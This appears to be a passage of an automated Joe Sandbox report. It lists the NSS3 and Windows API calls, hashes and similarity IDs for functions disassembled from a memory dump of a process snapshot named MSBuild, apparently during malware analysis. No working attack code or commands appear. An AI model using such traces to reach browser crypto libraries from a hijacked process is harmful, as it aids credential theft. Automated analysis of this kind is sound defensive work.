Part of subcall function 6CCD10C0: EnterCriticalSection.KERNEL32(?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD110C
Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1141
Part of subcall function 6CCD10C0: PR_Unlock.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1182
Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CCE4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CCE4E59

Part of subcall function 6CCCFAB0: free.MOZGLUE(?,-00000001,?,?,6CC6F673,00000000,00000000), ref: 6CCCFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CDA300C,00000000), ref: 6CCE4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CCE4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CCE4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CCE521A

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 9dc577271ea6947fc8800bd87f312512ca0c1d25e1950a35ac8ef36925c20c97
Instruction ID: 43e787b5709b2ef5fc8b1553eb34a799e9e3df21f846596942eb4c21354c4f35
Opcode Fuzzy Hash: 9dc577271ea6947fc8800bd87f312512ca0c1d25e1950a35ac8ef36925c20c97
Instruction Fuzzy Hash: 05F16C71E00209CFDB04CF99D8407AEB7B2FF4A358F254169E915AB781E775E982CB90

Function 6CCE0C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CCE2C2A), ref: 6CCE0C81

Part of subcall function 6CCCBE30: SECOID_FindOID_Util.NSS3(6CC8311B,00000000,?,6CC8311B,?), ref: 6CCCBE44

Part of subcall function 6CCB8500: SECOID_GetAlgorithmTag_Util.NSS3(6CCB95DC,00000000,00000000,00000000,?,6CCB95DC,00000000,00000000,?,6CC97F4A,00000000,?,00000000,00000000), ref: 6CCB8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCE0CC4

Part of subcall function 6CCCFAB0: free.MOZGLUE(?,-00000001,?,?,6CC6F673,00000000,00000000), ref: 6CCCFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CCE0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CCE0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CCE0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CCE0D7D
free.MOZGLUE(00000000), ref: 6CCE0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCE0DC1
free.MOZGLUE(00000000), ref: 6CCE0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCE0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CCE0E0F

Part of subcall function 6CCB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CC97F4A,00000000,?,00000000,00000000), ref: 6CCB95E0
Part of subcall function 6CCB95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CC97F4A,00000000,?,00000000,00000000), ref: 6CCB95F5
Part of subcall function 6CCB95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CCB9609
Part of subcall function 6CCB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CCB961D
Part of subcall function 6CCB95C0: PK11_GetInternalSlot.NSS3 ref: 6CCB970B
Part of subcall function 6CCB95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CCB9756
Part of subcall function 6CCB95C0: PK11_GetIVLength.NSS3(?), ref: 6CCB9767
Part of subcall function 6CCB95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CCB977E
Part of subcall function 6CCB95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CCB978E

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 6877b3d5e5607e9cda2f92557cc8fe78a7d12d3b2d1e541a62fc6e0a638882a5
Instruction ID: 594b1d1398ab8a859a68b351da5cfdb39e99648792aa6fa3f8f1e6a340950e52
Opcode Fuzzy Hash: 6877b3d5e5607e9cda2f92557cc8fe78a7d12d3b2d1e541a62fc6e0a638882a5
Instruction Fuzzy Hash: F441C2B1D00246ABEB009F65DC85BAF7678FF06308F140168E91567741FB35EA58CBE2

Function 6CCA6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CCA6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCA6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA6CA3

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCA6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CCA6CD5

Strings

C_DigestInit, xrefs: 6CCA6C61
hSession = 0x%x, xrefs: 6CCA6C7E, 6CCA6C8E
(CK_INVALID_HANDLE), xrefs: 6CCA6C9C
pMechanism = 0x%p, xrefs: 6CCA6CD0

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 12a0981922d0e70917ac3d68afec6dafeefe3c23ceb7bb90d7390ee5e8b9a1c4
Instruction ID: d34f040aa8c7fc5ad4360a6187e2e641118769663c2d4914a6bb478dc1d259c3
Opcode Fuzzy Hash: 12a0981922d0e70917ac3d68afec6dafeefe3c23ceb7bb90d7390ee5e8b9a1c4
Instruction Fuzzy Hash: 8021F934E01115BBE7009F99DD8CB9A77B9EB4635CF444025E50997B51EB30AC0DC7A1

Function 6CC76DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CC77D8F,6CC77D8F,?,?), ref: 6CC76DC8

Part of subcall function 6CCCFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CCCFE08
Part of subcall function 6CCCFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CCCFE1D
Part of subcall function 6CCCFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CCCFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CC77D8F,?,?), ref: 6CC76DD5

Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD10F3
Part of subcall function 6CCD10C0: EnterCriticalSection.KERNEL32(?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD110C
Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1141
Part of subcall function 6CCD10C0: PR_Unlock.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1182
Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD98FA0,00000000,?,?,?,?,6CC77D8F,?,?), ref: 6CC76DF7

Part of subcall function 6CCCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CDA18D0,?), ref: 6CCCB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CC76E35

Part of subcall function 6CCCFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CCCFE29
Part of subcall function 6CCCFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CCCFE3D
Part of subcall function 6CCCFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CCCFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CC76E4C

Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD98FE0,00000000), ref: 6CC76E82

Part of subcall function 6CC76AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CC7B21D,00000000,00000000,6CC7B219,?,6CC76BFB,00000000,?,00000000,00000000,?,?,?,6CC7B21D), ref: 6CC76B01
Part of subcall function 6CC76AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CC76B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CC76F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CC76F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD98FE0,00000000), ref: 6CC76F6B
PR_SetError.NSS3(FFFFE005,00000000,6CC77D8F,?,?), ref: 6CC76FE1

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 90fb258b5326073b96bbba7bfccff598d3a3b686bfc67e234438546dcff18587
Instruction ID: 93183c81fe4498449afb5d76d56100c5d34c15812e82bbe6cb45519713340685
Opcode Fuzzy Hash: 90fb258b5326073b96bbba7bfccff598d3a3b686bfc67e234438546dcff18587
Instruction Fuzzy Hash: 99717271E106469FEB10CF55CD40BAABBA8FF94348F154229E808D7B11F770EA95CBA0

Function 6CCBADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE10
EnterCriticalSection.KERNEL32(?,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CC9D079,00000000,00000001), ref: 6CCBAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE7F
TlsGetValue.KERNEL32(?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAEF1
free.MOZGLUE(6CC9CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC9CDBB,?), ref: 6CCBAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAF30

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: d9e3f83fea74df64d7c760638ec9d5ef0174e07e6b1908195c10c7624c702185
Instruction ID: 04f2393c084f468b3880ecac914bdb2bb2fa88cf5aa594dc4a7a21150727978a
Opcode Fuzzy Hash: d9e3f83fea74df64d7c760638ec9d5ef0174e07e6b1908195c10c7624c702185
Instruction Fuzzy Hash: C951ADB5A00602AFEB01DF69D884B66B7B8FF45318F044264E948A7E11F731F9A4CBD1

Function 6CC94CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC9AB7F,?,00000000,?), ref: 6CC94CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CC9AB7F,?,00000000,?), ref: 6CC94CC8
TlsGetValue.KERNEL32(?,6CC9AB7F,?,00000000,?), ref: 6CC94CE0
EnterCriticalSection.KERNEL32(?,?,6CC9AB7F,?,00000000,?), ref: 6CC94CF4
PL_HashTableLookup.NSS3(?,?,?,6CC9AB7F,?,00000000,?), ref: 6CC94D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CC94D10

Part of subcall function 6CD1DD70: TlsGetValue.KERNEL32 ref: 6CD1DD8C
Part of subcall function 6CD1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD1DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CC94D26

Part of subcall function 6CD39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD80A27), ref: 6CD39DC6
Part of subcall function 6CD39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD80A27), ref: 6CD39DD1
Part of subcall function 6CD39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CD39DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CC94D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CC94DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CC94E02

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 33f27c2bc881b3f1cfa7a76eecb8567e2b7271cd641fb974debd6e85ec44c47b
Instruction ID: 7799a58d2662f74f5de8511537bd45e0a15dfd034fe26587b336ba93d91d1a5d
Opcode Fuzzy Hash: 33f27c2bc881b3f1cfa7a76eecb8567e2b7271cd641fb974debd6e85ec44c47b
Instruction Fuzzy Hash: 5F4185BAA002059BEB019F69EC44A677BA8BF0525DF0541B0ED1987B21FB31D964C7E1

Function 6CC989C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6CC9AE9B,00000000,?,?), ref: 6CC989DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6CC72D6B,?,?,00000000), ref: 6CC989EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6CC72D6B), ref: 6CC98A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6CC72D6B,?), ref: 6CC98A11

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: 55edd91b19ffb5299d2f49f1f2236ba646364a251e994a650ac5525393980e0e
Instruction ID: bd4febffc0198f02b90f11c79a23ad780905c5e90865a17bfdebaa28aff2e600
Opcode Fuzzy Hash: 55edd91b19ffb5299d2f49f1f2236ba646364a251e994a650ac5525393980e0e
Instruction Fuzzy Hash: 1311D0F2E00301A6FB005A656C81FBB755C9B4175DF040076ED099B742FB62D555D1F3

Function 6CCBCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CCBCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CCBCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CCBD079

Part of subcall function 6CD1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD1C2BF

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 57d43aea9e287b384047eb326497eb3384367394013ab17b7a2f4efece49f4e3
Instruction ID: e6d7ce2d91ad061698c1198e65e76b68db13a57e3b0e3811853003af2b2e01a8
Opcode Fuzzy Hash: 57d43aea9e287b384047eb326497eb3384367394013ab17b7a2f4efece49f4e3
Instruction Fuzzy Hash: E5C17AB5A002199BDB20CF65DC80BDAB7B8BF48318F1441A8E948A7741F775EE95CF90

Function 6CC72C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(B53A3FF1), ref: 6CC72C5D

Part of subcall function 6CCD0D30: calloc.MOZGLUE ref: 6CCD0D50
Part of subcall function 6CCD0D30: TlsGetValue.KERNEL32 ref: 6CCD0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CC72C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC72CE0

Part of subcall function 6CC72E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CC72CDA,?,00000000), ref: 6CC72E1E
Part of subcall function 6CC72E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CC72E33
Part of subcall function 6CC72E00: TlsGetValue.KERNEL32 ref: 6CC72E4E
Part of subcall function 6CC72E00: EnterCriticalSection.KERNEL32(?), ref: 6CC72E5E
Part of subcall function 6CC72E00: PL_HashTableLookup.NSS3(?), ref: 6CC72E71
Part of subcall function 6CC72E00: PL_HashTableRemove.NSS3(?), ref: 6CC72E84
Part of subcall function 6CC72E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CC72E96
Part of subcall function 6CC72E00: PR_Unlock.NSS3 ref: 6CC72EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC72D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CC72D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CC72D3F
free.MOZGLUE(00000000), ref: 6CC72D73
CERT_DestroyCertificate.NSS3(?), ref: 6CC72DB8
free.MOZGLUE ref: 6CC72DC8

Part of subcall function 6CC73E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC73EC2
Part of subcall function 6CC73E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC73ED6
Part of subcall function 6CC73E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC73EEE
Part of subcall function 6CC73E60: PR_CallOnce.NSS3(6CDD2AA4,6CCD12D0), ref: 6CC73F02
Part of subcall function 6CC73E60: PL_FreeArenaPool.NSS3 ref: 6CC73F14
Part of subcall function 6CC73E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC73F27

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 81f350682a87938ea5ffb5e2cc700a6226d20df73c885e98b7dfb242a5e752fa
Instruction ID: 7e9041ac87881193c81be0c1ca8b45c856c0d4bc1440068afd96caf6211ff9e5
Opcode Fuzzy Hash: 81f350682a87938ea5ffb5e2cc700a6226d20df73c885e98b7dfb242a5e752fa
Instruction Fuzzy Hash: 0451E171A04211DFEB209F29DDA9B5B77E9EFA4348F14046CEC5983650F731E815CBA2

Function 6CC78980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CC77310), ref: 6CC789B8

Part of subcall function 6CCD1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC788A4,00000000,00000000), ref: 6CCD1228
Part of subcall function 6CCD1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CCD1238
Part of subcall function 6CCD1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CC788A4,00000000,00000000), ref: 6CCD124B
Part of subcall function 6CCD1200: PR_CallOnce.NSS3(6CDD2AA4,6CCD12D0,00000000,00000000,00000000,?,6CC788A4,00000000,00000000), ref: 6CCD125D
Part of subcall function 6CCD1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CCD126F
Part of subcall function 6CCD1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CCD1280
Part of subcall function 6CCD1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CCD128E
Part of subcall function 6CCD1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CCD129A
Part of subcall function 6CCD1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CCD12A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CC77310), ref: 6CC789E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CC78A00
CERT_CopyRDN.NSS3(00000004,00000000,6CC77310,?,?,00000004,?), ref: 6CC78A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CC78A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6CC77310), ref: 6CC78AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6CC77310), ref: 6CC78AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6CC77310), ref: 6CC78B1D

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
